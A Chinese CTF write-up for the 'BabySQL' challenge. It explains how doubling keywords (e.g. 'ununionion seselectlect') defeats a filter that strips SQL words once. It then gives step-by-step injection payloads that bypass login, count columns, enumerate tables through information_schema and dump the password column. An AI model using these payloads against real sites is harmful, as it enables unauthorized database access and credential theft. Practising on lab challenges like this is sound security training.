[极客大挑战 2019]BabySQL1

搜了WP才写出来呢,这题主要考的是双写绕过

双写绕过的原理是后台利用正则匹配到敏感词将其替换为空。即如果过滤了select,我们输入123select456 后会被检测出敏感词,最后替换得到的字符串由123select456 ---> 123456。这种过滤的绕过也很简单即双写select即可,如:selselectect  ---> select ,进行一次这样的过滤就双写,两次就三写以此类推。至于怎么写绕过,我理解的是,比如select被过滤,就在他的中间再写一遍就行了,就像union写成ununionion一样,我理解的是这样,不知道对不对

先打开环境,使用万能密码  1' or 1=1;#

发现or被过滤了,把or换成|| 重新输入 1' || 1=1;#

接着再查询字段  输入 1' order by 3;#(直接输入3,因为一般前两列都有的了)

发现or和by都被过滤了双写绕过,输入 1' oorrder bbyy 3;#

发现没有报错,在输入4,出现了报错,说明只有3列

然后再联合查询 输入

1' union select 1,2,3;#

发现union和select都被过滤了,输入

1' ununionion seselectlect 1,2,3;#

发现有两个注入点,接下来查询库名

1' ununionion seselectlect 1,2,database();#

发现他的库名为geek,接着查询他的表名

1' ununionion seselectlect 1,2,group_concat(table_name)  from  information_schema.tables  where  table_schema='geek';#

发现,from,information,where都被过滤了,重新输入

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek';#

我们看到了b4bsql,geekuser两个表,查询两个表,我们需要的flag在b4bsql这个表里

1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql';#

里面有id,username,password,直接查询他们的内容

1' ununionion seselectlect 1,2,group_concat(id,password,username) frfromom geek.b4bsql

又被过滤了。。。。password中的or被过滤了,双写绕过

1' ununionion seselectlect 1,2,group_concat(id,passwoorrd,username) frofromm geek.b4bsql #

就会得到我们需要的flag了(没有截屏。。。。。。。。)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值